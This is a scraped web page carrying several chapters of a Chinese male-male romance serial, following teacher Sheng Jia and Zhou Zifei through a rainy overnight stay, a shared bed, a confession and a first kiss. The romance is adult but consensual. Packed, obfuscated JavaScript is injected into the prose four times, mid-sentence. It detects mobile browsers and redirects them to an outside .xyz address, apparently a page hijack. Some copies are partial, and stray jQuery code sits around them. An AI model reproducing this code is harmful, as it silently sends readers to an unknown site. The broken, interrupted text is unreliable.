周子斐接过叶子仔细看了看,坏心眼地开口:“周佳奕你明年就要上小学了,之后能和盛老师天天在一起的人是我。” 他说完把叶子递到盛嘉手里,语气带笑:“是不是,盛老师?” “我……我还没说要和你在一起呢……” 盛嘉脸一红,他小声地反驳,低头不看周子斐。 周佳奕又扑到周子斐身上,扯着周子斐的毛衣喊“不行”,周子斐却偏偏还在强调明年周佳奕就得从盛老师班里滚蛋,惹得周佳奕嘴一瘪就要哭。 盛嘉连忙搂住周佳奕哄:“不会的奕奕,以后你想见我了,就叫舅舅带你来,我们每个周末都能见面。” “是的周佳奕,所以你得让盛老师答应以后还和我保持联系、多见面,不然我和盛老师关系不好了,你也见不到盛老师了。” 周子斐顺着杆往上爬,盛嘉没什么威力地瞪了周子斐一眼,他叫周佳奕别听舅舅瞎说。 但周佳奕显然听进去了,他抹着眼泪,哀哀地求盛嘉:“盛老师你以后一定要和我舅舅在一起,这样我上小学,舅舅也能带我天天和你见面了,盛老师,你们天天都在一起,永远都在一起,好不好?” 周子斐简直激动得想当场表扬周佳奕懂事,他挑眉笑着看盛嘉,意思是盛老师快回答。 盛嘉没搭理周子斐,拿着纸巾给小孩擦眼泪,只向周佳奕再三保证以后一定还能见面,周佳奕呜呜咽咽地还要问“在一起”的问题。 “好,盛老师答应你,天天都在一起。” 无奈之下盛嘉只能答应下来。 尽管周子斐知道盛嘉不是那个意思,却还是高兴地一下午都乐颠颠的,周佳奕要什么,他给什么,盛嘉喝口水,他都要殷勤地接杯子、递纸巾。 等日落西山,公园里温度渐渐降下来,三人也离开了这里。 “盛老师,我先把周佳奕送到他妈妈那里,然后再送你回家。” 盛嘉点点头,透过车窗看到一个长发女人在别墅门口将周佳奕抱到屋内。 周佳奕的母亲前段时间回国了,盛嘉听周子斐说,似乎这次出国是为了解决周佳奕抚养权的后续事宜,现在事情也都定了下来,周佳奕将来还是归母亲抚养,那个出.轨、家暴的男人最终一无所获。 回去正好赶上晚高峰,红灯时盛嘉发现天空阴沉,似乎是要下雨,果然在他们被堵住不久,雨点就噼里啪啦地落了下来。 等到了盛嘉家小区楼下,时间都已经八点多了。 “要不……在我家吃晚饭吧,不然你回去都要九点了。” 我担心你路上会饿。 剩下半句话盛嘉没说出口,他坐在副驾驶上,明明是主动挽留,却只偏头看窗外,一副有些勉强的样子。 但周子斐视力极佳,透过车内昏暗的光线,他清晰地看到盛嘉发红的耳尖。 “好啊。” 周子斐语气轻快地回答,他没有给盛嘉反悔的机会,当即就拉开车门要和盛嘉一起下车。 两个人撑着一把伞回了家,肩头都被淋湿了一点,等到了屋内,盛嘉第一时间便拿干毛巾递给周子斐。 在这间租来的房子里,盛嘉还是第一次和人一起做饭、吃饭、洗碗。 他有些心不在焉,也有些紧张,眼神悄悄看身边的另一个人,周子斐却自然地像这里是自己家一样。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219977|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“雨好像还是很大。” 饭后,周子斐站在厨房边洗碗,边状似无意地和盛嘉说。 盛嘉隐隐觉得自己做了一个错误的决定,但现在要赶人走也很难说出口,于是他只能保持沉默。 “盛老师,这么大的雨,我晚上还要开车回去,是不是不太安全?” 果不其然。 “盛老师,要不今晚我留下来吧,我看你家沙发躺一个人也没什么问题,我就睡这一晚,当然你要是想让我和你一起睡——小心!” 盛嘉险些摔了个碗,还好周子斐眼疾手快地接住了。 “盛老师不想我留下来,我立马就能走人,但用摔碗表示抗议,未免也太——诶?” 盛嘉把洗碗巾扔到周子斐手上,又开始脱手套,沉默地冲干净手后,便朝厨房外走。 “盛老师?盛老师?你去干什么?” “我去找找换洗衣物和枕头被子,你要留下来就把碗全洗干净了。” 惊喜来得猝不及防,周子斐手里捏着洗碗巾,愣愣地看着盛嘉的背影钻进卧室里。 等听到翻箱倒柜的声音,还有盛嘉气鼓鼓地问“你穿我的睡衣行不行”的声音,他才反应过来。 “可以!” 周子斐连忙高声回答,卧室没再有人说话,而他低头慢慢地刷着碗,半晌过去,还是没忍住笑出了声。 “晚上你睡卧室吧,我比较喜欢睡在客厅。” 盛嘉将自己当初买一送一的睡衣拿了一套给周子斐,枕头被子也放在了沙发上。 “那怎么行,我是客人,你是主人,客人怎么能让主人睡沙发?” 周子斐不同意这样的安排,见盛嘉执意强调自己不喜欢一个人睡在房间,更喜欢睡在客厅,他叹了口气。 “盛老师,我们就不能一起睡房间吗,这样你不用睡客厅,我也不会成没礼貌的客人了。” 盛嘉闻言还是不太愿意,但他眼神飘忽,支吾半天也说不出什么拒绝的理由。 “盛老师放心,我不会对你做什么的,我的睡姿也很老实。” “何况今晚还下着雨,一个人在客厅睡不会冷吗?” 似乎是要验证周子斐的话,窗外的雨忽然大起来,冷风从阳台没关紧的窗户缝钻进来,盛嘉顿时感觉身上起了一层鸡皮疙瘩。 周子斐的眼神很真诚,语气也很认真。 盛嘉的态度软化下来,他迟疑地开口:“那、那好吧。” “但是你不能……不能做不好的事情,不然我就不和你一起睡了。” 盛嘉努力板着脸,但他天生就是柔软秀丽的长相,即便是装凶,在周子斐看来也更像小猫发威,不是可怕,而是可爱。 更要命的是盛嘉说的话。 什么叫“不能做不好的事,不然就不一起睡了”,简直让周子斐更加浮想联翩。 周子斐看着盛嘉这些日子被自己养得白里透粉的脸颊,因为严肃地抿着唇,那个小小的梨涡正挂在上面。 他情不自禁地咽了口口水,感觉还没一起睡,就已经想做不好的事了。 25. 共枕 “你、你快去洗澡吧,衣服和毛巾都给你拿好了。” 盛嘉见周子斐站在原地不动,他将沙发上的一叠衣物塞到周子斐怀里,便推着人的背进了卫生间。 “往左边拧是热水,洗完不用收拾,等会我来弄就好。” 周子斐话都没和盛嘉说上一句,卫生间的门便被盛嘉“碰”的一声关起来。 他无奈又好笑地将衣物放在衣架上,又想到什么似的,将它们一一掀起查看,直到看见一条纯黑色的平角内裤。 周子斐表情莫名地拿起瞧了瞧,发现尺寸比自己的要小一些,所以这是…… 门外忽然响起细若蚊呐的声音—— “还有……是洗干净的,我还没有穿过,你将就一下……” 周子斐掌心捏着那件柔软的衣物,转头问门外那个隐隐绰绰的身影:“什么是干净的?” 盛嘉小声地重复了一遍,周子斐这时却装起了聋子。 “什么?” “内裤……” “什——” “内裤!” 盛嘉臊红着脸,羞恼地大声冲卫生间里的人喊出这两个字。 “内裤啊,这有什么不好说的,何况还是干净的,我本来以为只能穿盛老师穿过的呢。” 周子斐的声音隔着一道门模糊地传出,那语气听起来还有几分压抑的笑意。 盛嘉不愿意再和这人多说话,他直接转身离开,心里懊恼地骂周子斐真是越来越没皮没脸了! 而盛嘉想不到的是,卫生间内,周子斐做出了更没皮没脸的事。 周子斐没忍住诱惑,低头将脸埋在了掌心衣物上,有很淡的樱花味,他视线在洗手台上飞快地搜寻,果然看到一瓶樱花味的内衣洗衣液。 他当即便闷声笑起来。 没想到盛嘉平时还会用有香味的东西洗内衣,连爱干净都能爱得这么可爱。 但接着,周子斐的心思忍不住浮动。 盛嘉平时身上、头发就带着淡淡的香味,如果他连内衣都会洗得香香的,那岂不是……也是香的? 手上的衣物变得烫手起来,不止是衣物,周子斐觉得自己浑身都在发烫。 不能再想了,周子斐放下衣物,再想下去,等会洗完澡穿上后,他都要控制不住地热血下涌。 坐在客厅听着卫生间内接连不断的水声,盛嘉靠在沙发上发呆。 不知道自己的睡衣周子斐能不能穿进去? 盛嘉有些忧心,怕穿着小了的睡衣睡觉周子斐会不舒服,更怕…… 他用力拍了拍自己发烫的脸,试图让自己不要胡思乱想。 这时卫生间的门打开了,周子斐湿润的嗓音传来:“盛老师,我洗好了,你趁着里面还暖和,也赶快去洗吧。” 盛嘉闻声看过去,周子斐一头红发湿着拢在脑后,英俊的眉眼完全露出来,显得更加凌厉凶悍。 他身上墨绿色的睡衣果然有点小,盛嘉宽松的丝绸睡衣硬是让他穿成了修身款。 随着周子斐的走近,盛嘉只觉得一股热气扑面而来,山茶花沐浴液的味道似乎都被周子斐本身的男性气息压了过去。 “吹风机在镜子后面的柜子里,我、我去洗了,你等会直接回卧室就行。” 盛嘉抱起自己的衣物就从周子斐身边窜过去,匆匆钻进了卫生间。 轻手轻脚地落了锁,又听到外面吹风机的声音响起、关闭,以及周子斐逐渐远离的脚步声,盛嘉这才放松地舒了口气,慢慢脱衣服开始洗澡。 - 等盛嘉洗完澡,又收拾好卫生间,他没有急着回卧室,而是抱着周子斐的衣服走到客厅,坐在沙发上。 先是将周子斐的裤子放在膝上叠好放在一旁,随后是周子斐的浅色毛衣。 毛衣触手柔软,还带着周子斐身上浅淡的香水味。 盛嘉抖开毛衣,又捏着肩头处,拿远看了看,发现比他平时穿的尺码要大了不少。 这是当然的。 毕竟,周子斐比他高大许多,身上肌肉也是看着就比他有劲。 浅浅叹了口气,盛嘉还是觉得自己不该脑子一热答应周子斐留下来。 将毛衣也叠好放在一旁,盛嘉又坐了会儿,等手脚都开始发冷了,才深吸一口气朝卧室走。 没关系的。 只是临时睡一晚,什么都不会发生的。 他的手搭在门把手上,心理建设一番,才轻轻按下,推门而入。 “你的裤子和毛衣我都放在了客厅——” 盛嘉刚走到门口,说话的声音便忽然顿住。 卧室内亮着暖黄色的灯光,视线中周子斐并未躺上床,而是微弓着肩背站在床边的穿衣镜前。 而令盛嘉呆住的是周子斐的动作。 他右手正提起衣领在鼻尖深嗅,手背和小臂上青筋凸显,显然在忍耐着什么,而睡裤处隆起的弧度,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219978|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这举动背后隐匿的渴求暴露得一览无遗。 …… 周子斐闻声偏过头看向盛嘉,锋利的眼睛紧紧盯着盛嘉的脸,盯得盛嘉后背发毛,一动不敢动。 就在盛嘉慌乱地以为周子斐下一刻就会扑过来,凶性大发时,周子斐只是缓缓松开衣领放下手,站在原地,哑声开口—— “盛老师,你的衣服好香。” 话音落下,他便眼眸黑沉看盛嘉,浓烈的情感似乎要化作实质将盛嘉包裹其中。 像是藏匿在夜里的野兽,獠牙已经亮出,口鼻也喷出兴奋的热气,却被无形的绳索束缚,于是只能用利爪躁动地刨着土地。 雨不知何时变小,雨声也弱了下来。 房内几乎是一片寂静,两人无声地对视。 盛嘉觉得房间里忽然变得好热,他的脸再次开始发烫,额头也冒出细汗。 视线慌张地移开,故作什么都没看见,盛嘉越过周子斐的身影,先一步上了床。 “没有吧……只是、只是普通的洗衣液的味道……” 盛嘉拉起被子盖住自己,再一次后悔答应周子斐留宿。 他努力地蜷缩着腿,周子斐还没上床,他便往床沿躲,活像即将被丈夫一通糟蹋的新婚小媳妇。 周子斐见状无声地笑了笑,他顺着盛嘉,没再多说什么,自然地掀开被子一角,坐在盛嘉另一侧的床沿,和人主动保持距离。 “盛老师现在就要睡了吗?” 盛嘉刚躺下去,就听见周子斐这么说,看样子似乎还想聊聊天。 他不敢说话,明明两个人之间隔了大半张床的距离,盛嘉却觉得周子斐身上的温度能够传递到这边,连被子里熟悉的味道也染上了对方的气息,变得有些难以适应。 周子斐的存在感太强了,盛嘉的心跳正因为两个人的同床共枕而飞快加速。 “那我关灯了?” 没听到盛嘉的回答,周子斐自顾自地开口,接着便伸长手臂按下了开关。 房间里顿时陷入黑暗和安静,只有窗外淅淅沥沥的雨声模糊地传进屋内。 盛嘉的心脏跳得更快了,他捂住自己的胸口,手心里全是汗。 别再跳了,太大声了,周子斐会发现的…… 盛嘉不断在心里碎碎念,闭着眼睛祈祷今晚能快点过去,自己能快点睡着。 意识却渐渐变得更加清晰,连周子斐轻微的呼吸声都能听得一清二楚。 26.哄睡 在这种双方心知肚明的沉默中,还是周子斐先一步打破了安静。 他轻咳了一声,接着语气轻柔地开口:“盛老师,我第一次和别人一起睡,有点不习惯,我们聊聊天吧。” 盛嘉听闻小心翼翼地转头看身旁的人,借着窗帘缝隙漏出的一线微光,他发现周子斐平躺着并未看他,似乎也有些紧张。 原来不止自己这么局促不安。 他慢慢转过身,小声问:“你想聊什么?” “盛老师为什么喜欢睡在客厅?” “一个人在看不到天空的地方睡,我会觉得很压抑。” 盛嘉老老实实地回答,这个问题从前余向杭也问过他。 有时候余向杭加班要很晚才回来,盛嘉一个人睡在房间会心慌到喘不过气,于是他就会睡在客厅。 余向杭看到他不睡房间睡客厅,起初是心疼地说以后会早点回家,后来则是不满地问盛嘉把自己弄得可怜兮兮给谁看。 盛嘉曾以这样的回答解释过几次,余向杭则从未真正放在心上。 在某次不耐烦地说他不想了解盛嘉那些小情绪后,盛嘉便再也不解释了,余向杭偶尔要加班也会直接选择睡在公司。 面对盛嘉为什么不回家的询问,他说:“我不想回家看你睡在客厅,一副好像我做错了什么的样子,明明是你看我晚回来就总耍小性子,那既然这样,我干脆就不回来好了。” 现在想起这件事,盛嘉后知后觉地意识到,自己其实在那段时间就已经发现余向杭的变化。 但当时他对余向杭的信任仍保持着惯性,以至于觉得他们走向疏远是自己的错,才会抱有愧疚地接受了余向杭的不归家。 “是因为过去的经历吗?” 周子斐温柔地试探,他语气里的关心掩藏得很好,可心思细腻的盛嘉又怎么察觉不出? 盛嘉想,周子斐真聪明啊。 他没有讲述过自己的过去,周子斐却从他身上的疤,从盛千龙找上门的事,从那天警局的只言片语,就理解了他遭受的伤害和痛苦。 当一个人背负沉重的包袱走得远了久了,是会累的。 在这样漫长的旅途中,哪怕有人只不过从他的肩上取下包袱看一看,也能够轻松片刻。 怀着只要能够轻松一会儿的希冀,盛嘉慢慢开口。 “小时候被盛千龙关在地下室,只能透过一个装着铁栏杆的小窗户看外面,但每一天、每一天,看到的只有地面上路人走来走去的脚。” “从那里出来后,就变得很喜欢看天空,没有人在身边的时候就更喜欢了,这样会觉得自己没那么孤单,至少我仰望的是很漂亮的天空,还有云朵、星星陪着我。” “而不是像以前一样仰望着别人会带起灰尘的鞋子,数来数去,所有人都是匆匆走过,留下的始终只有我一个人。” 这些话盛嘉从未对任何人吐露过,他怕自己心里沉重如山的悲伤,在别人听来不过轻若鸿毛,更怕被不耐烦地甩开。 周子斐沉默地听着,在盛嘉说完后,他依旧一言不发。 正当盛嘉以为自己说错了话,要解释自己不过随便说说,让周子斐不要在意时,他的手忽然被握住了。 周子斐用力扣住盛嘉的手,将那微凉的五指紧紧收拢在掌心。 “别害怕。” “从今以后你永远都不会成为被抛下的那个人。” 盛嘉听到周子斐沙哑的声音这样说。 鼻尖蓦地一酸,眼眶也在发热。 他心中最先涌起的,却是不明不白的怨。 明明他已经习惯了被抛弃,也已经接受了过去发生的事,可这个人,每一次都要动摇他的决心。 就让他未来一直孤单而平静地度过一生不好吗? 为什么偏要走进他的心扉? 为什么一定要看清他的难过、痛苦? 为什么非要愈合他生命中自己都不再触碰的伤痕? 为什么……在他下定决心,不再将心寄托在任何人身上时,又要出现,为他带来可以依靠的肩膀? “我喜欢你是认真的。” “或许你不信我,但你有很长很长的时间可以考验我。” 床垫发出轻微声响,周子斐握着盛嘉的手,看向盛嘉黑暗里模糊的侧脸轮廓。 盛嘉呼吸颤抖,他缓慢地眨动了一下眼睛,眼泪随即滑落,无声没入鬓角发间。 “一辈子也可以,一辈子,对我来说并不难。” 脸颊湿漉漉的痕迹被手指抹去,留下温热、干燥的触感。 盛嘉闭上眼睛,泪水仍接连不断地坠落,一颗一颗,砸在周子斐手上。 “盛老师,这段日子就把我当成一件物品来使用吧,像购入正装前试用产品一样。” “我会是你的暖手炉,你的专车,你的解闷玩具,你的洗碗机,你的纸巾……你想要的一切。” “只要你需要,就随意使用我,等你满意了,再往我这儿盖个‘男朋友’的戳,让我转正,之后还会有更多优质的产品服务。” 周子斐笑着将盛嘉的手放在自己胸口,心跳声沉稳而清晰,仿佛只为他跳动。 盛嘉听周子斐越说越不着调,没忍住漏出一点被逗笑的泣音,他含糊地开口:“你瞎说什么呢……” “瞎说?现在就让你知道我是不是瞎说——” 周子斐握住盛嘉的手,手臂发力直接将人拽到自己怀里,盛嘉刚惊呼一声,就被抱了个结实。 “睡在床沿边冻得身上这么凉,手脚都是冰的,现在是不是需要我了?” 盛嘉头靠在周子斐的胸膛,后腰被手臂搂住,整个人窝在热气腾腾又散发浅淡香气的怀抱,本想挣扎的动作悄然停滞。 窗外秋雨淅沥,寒意渗入夜晚房间的每一个角落。 最终盛嘉还是听从自己的内心,他想他只是需要这份温暖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233861|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周子斐察觉到盛嘉的默许,他掌心轻拍怀里人的脊背,像在安抚终于肯靠近的猫。 温柔的嗓音在盛嘉头顶响起:“睡吧。” 而没一会儿睡意便真的如潮水般涌上来,盛嘉困倦地眨动睫毛,慢慢合上了眼睛。 …… “盛老师。” “盛老师?” 周子斐的声音让盛嘉一下子回过神来,他迷茫地看向餐桌对面的人。 “盛老师想什么呢,叫你好几声了。” 听到周子斐的话,盛嘉不自觉地低下头再次回忆起清晨的场景。 他几乎是缠绕在周子斐身上。 头枕着结实的臂弯,一手搭在呼吸起伏的胸膛上,而另一只手直接放到了人家上衣里面,毫不客气地摸着块块分明的腹肌,脚心也踩着那暖和的脚背。 盛嘉不知道自己的睡姿竟然会这么糟糕,周子斐简直比他要老实多了,只是规规矩矩地侧躺着,手跟睡前一样,只放在他的肩头和背上。 唯独某个地方,张扬地抵在盛嘉柔软的小腹。 想到这里,盛嘉的脸再次烧起来,周子斐的东西,怎么那么、那么夸张啊…… “盛老师——” 勺子轻轻敲击碗沿,发出清脆的响声,盛嘉一惊。 “盛老师吃好了吗,吃好了我就去洗碗了。” 周子斐看着发呆发得脸通红的盛嘉,无奈地出声问。 而盛嘉则觉得自己不能再和周子斐面对面坐着了,他一看到这张脸,就会想起早上那一幕。 “吃、吃好了。” 盛嘉匆匆将碗推给周子斐,从餐桌起身往客厅走。 等周子斐洗好碗再看向客厅,就见盛嘉正在叠衣服,他放慢脚步走过去。 盛嘉侧身坐在沙发上,阳台落地窗的阳光披在他身上,给他周身都渡上了一圈毛绒绒的光晕。 修长十指耐心地折叠衣物,他低着头,黑发从肩头滑落,露出纤长白皙的脖颈,肩颈线条如此柔美,像湖畔垂首的白天鹅。 周子斐变得不敢说话,他坐在沙发一侧,只安静地看盛嘉。 心中充斥着温暖而柔软的情绪,视线从盛嘉眉眼,游移至鼻尖,唇瓣…… 清晨起床看见盛嘉窝在自己怀里熟睡的怜爱,再次涌上来。 他忽然变得不满足,想要占有盛嘉更多。 “你的秋衣秋裤我昨晚洗过了,但是刚刚我摸了一下还没怎么干,就放在烘干机转了一下,现在也能穿了。” 盛嘉转过身,将叠好的衣物递给面前的人,周子斐默默接过去,视线依旧落在盛嘉脸上。 “盛老师,可以吻你吗?” 周子斐直勾勾地盯着盛嘉说话时不断开合的红唇。 在这个静谧而温馨的早晨,那只野兽苏醒了,它挣开绳索,却并未急切扑过来,而是收起会划破柔嫩肌肤的獠牙,温顺地走过来,向它的主人恳求一个吻。 27.吻 “盛老师,可以吻你吗?” 周子斐开口问,晨光中他的面容显得朦胧,却因此越发柔和。 他俯身靠近沙发上的盛嘉,手指蹭过盛嘉耳边,自然又亲昵地将几缕碎发别到后面,而眼里是温柔流露的爱意。 盛嘉先是一愣,直到那温热的掌心覆盖在自己肩头,才惊得几乎是弹立着站起来,他手向后扶着沙发靠背以支撑自己不要摔倒,眼睫则慌乱地眨动。 “吻、吻我……?” 周子斐继续靠近,他手掌按在盛嘉腿边,抬起脸,迷恋地,自下而上仰视着盛嘉的面容。 弯弯的细眉,瞪大的笑眼,还有红润饱满的唇瓣,此刻它正微张,周子斐似乎能闻到里面散发的馥郁香气。 “嗯,吻你。” 周子斐再次肯定,他坦白地让盛嘉头皮发麻。 “不、不行,不可以……你、你一定还没睡醒,没关系,你一定以为自己还在梦里……” 盛嘉主动替周子斐找起理由,他抬脚就要离开,却猛地被扣住手腕,脚步也停了下来。 他背对着周子斐,视线落在地板上,只见忽然出现了大片阴影,那片阴影很快将他的影子吞没了。 “为什么不可以?” 周子斐站在他身后,开口问。 盛嘉转过来,他努力地想要拽下周子斐握在自己手腕的手,急得额头冒汗。 “不可以,就是不可以……” 他说不出原因,只是一味地躲,连心里在刚听到周子斐请求的害羞,都被他强行压下去。 周子斐不死心,继续求。 “可以的,盛老师,我们可以接吻的……” “就一下,就亲一下,你知道我最听你的话了……” “我会轻轻的,一定不会让你难受的……” 盛嘉从没人这样直白又耍赖地哄着要接吻,他白净的脸上轰地一下泛起绯色,好似晚霞映雪。 即便已经这样了,面对周子斐的软声恳求,他还是偏过头一言不发,企图用不回答来躲避这样炙热的求爱。 周子斐高大的身躯步步逼近,年轻而具有进攻性的气息让盛嘉不断朝后躲,直到后背抵在墙壁上。 尽管盛嘉意识到他躲不过去了,但他整个人依旧僵硬地不肯动,就像是应激后呆愣的小动物。 他怕。 他怕在别人的怀里敞开自己,不仅仅因为身上丑陋的疤,也因为余向杭从前说他在情.事上没意思。 过去的经历和失败的婚姻,让盛嘉时而庆幸自己没有性.吸引力,这样他就不会被伤害,时而又失落于自己没有性.吸引力,无法让爱人喜欢自己的身体。 “盛老师,我想吻你,真的很想吻你,每一天都很想。” 周子斐声音沙哑,他的手掌压在盛嘉脸侧的墙壁上,宽阔肩背压下来,叫盛嘉眼前光线都被遮蔽。 听到周子斐的话,盛嘉鼓起勇气抬头看面前这张脸。 英俊、温柔,这是一张朝气蓬勃且正为他沉迷的脸。 但其实盛嘉很喜欢和人拥抱、接吻。 被人热乎乎地抱在怀里,唇舌亲密地纠缠,这些都让他心里满足充实。 要……试一试吗? 踌躇之时,周子斐握住盛嘉的手搭在自己的肩上,体温从衣料下方传递而出,莫名烫得盛嘉指尖一缩。 “要是盛老师有任何不舒服,就拍一下我好不好?” “只要你叫我停下,我就会停下的。” 周子斐再次向盛嘉承诺,他认真地注视盛嘉,眼眸中燃着惊人的灼热。 那么多的爱,那么多的情,那么多的渴求。 盛嘉触上这样的眼神,抗拒的心如同初春冰面,缓慢融化,僵硬的身体变得能够动弹。 他的手沿着周子斐肩头下移,撑在周子斐的胸膛。 掌心下是柔韧发热的肌肉和剧烈跳动的心脏。 它们无不昭示这是一具年轻又强壮的男性躯体,而这具身体的主人正在如此强烈地渴望着他。 盛嘉空虚干枯许久的内里竟像被凿开了一个小口子一般,正在冒出汩汩暖流,流经四肢,唤醒了他的欲和贪。 因为这突如其来的渴望,盛嘉不自觉地咬住唇,牙齿磨了磨唇肉,脚趾都难耐地扣起。 可他仍要负隅顽抗。 “那、那就算我们亲了一下,也不能代表我答应和你在一起了……” 盛嘉小声地开口。 周子斐还不是他的男朋友呢,他还没有答应周子斐的告白,这是不能让步的事。 听闻,周子斐的眼睛变得更亮,他惊喜又迫不及待地低下了头。 “我知道——” 话未说完,剩下几个字音便消失在两人相触的唇间。 …… 好软,好香。 盛嘉的嘴唇柔软,一贴上,让周子斐整个心都迅速地塌下去。 他们脸贴着脸,周子斐甚至觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248215|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛嘉的呼吸都是香甜的,他呼吸着盛嘉的呼吸,整个胸腔沁入难以言喻的甜味。 周子斐悄悄睁开眼,只见盛嘉闭紧了眼,眼皮都紧张地皱起,睫毛就在那不停颤啊颤的,一下、两下,又娇又怯。 好可爱。 周子斐满心的喜欢不知道该怎么办,当即便想吻一吻盛嘉的眼睛。 “唔……” 盛嘉渐渐放开了,周子斐唇舌温热,动作轻缓,让盛嘉感觉很舒服,他干渴地张开唇,口中渴望更多。 周子斐察觉到那害羞的邀请,却并未横冲直撞,而是先亲昵地含吮盛嘉下唇那个漂亮的凹弧,再步步深入。 他不动声色地走近一步,手掌悬在盛嘉的腰肢一侧似有似无地触碰,另一只支在墙面的手也试探性地靠近盛嘉的脸颊。 盛嘉毫无所察,或者说,他有意无意地放纵了这一切。 周子斐从不知道自己会因为一个吻而手抖到这种地步。 他按在盛嘉侧腰的手掌轻微颤动,接着搂紧搂实,舌尖也在此刻探进,滑过整齐光滑的齿关,终于抵达深处。 这里是甜蜜的巢穴,也是欲望的出口。 盛嘉当即细微地嘤咛一声,眉尾跟着抖动,眼角溢出湿润的泪,指尖发红地攥紧了周子斐肩头的布料,单薄胸膛更是难耐地向上挺起。 周子斐察觉到盛嘉的情动,却温吞起来,他不断碾压、研磨,口腔和喉咙都在细致地吞咽,耐心地品尝。 他的手掌托住盛嘉的后脑勺,拇指爱怜地揉搓盛嘉耳垂后一小块柔嫩的肌肤,这样的小动作叫盛嘉不住地歪头,主动往周子斐掌心蹭,想要更多的抚摸。 慢慢地,盛嘉在周子斐怀里软了,化了。 墨绿睡衣的衣袖滑落,露出带有划痕和烟头疤的细白手臂,但盛嘉并未在意。 他勾着周子斐往自己身上贴,浓密睫毛掩盖下的眼眸里是沉醉的痴缠,腰也开始前后轻晃,丢掉羞耻地朝人撒娇。 盛嘉彻底沦落为周子斐唇舌的奴隶。 深秋晴朗,阳光照进室内,却还是有几分凉意。 但客厅缠绵的两人交颈而拥又唇齿相依,从体温到空气温度都在攀升,他们形成了独特而亲密的小空间,这里是这屋子里唯一一处如春似夏的地方。 就在盛嘉和周子斐吻得入神时,沙发缝里盛嘉的手机正在不停震动,先是一条条短信,再是一通通电话,上面不停跳动显示着一个人的名字: 余向杭。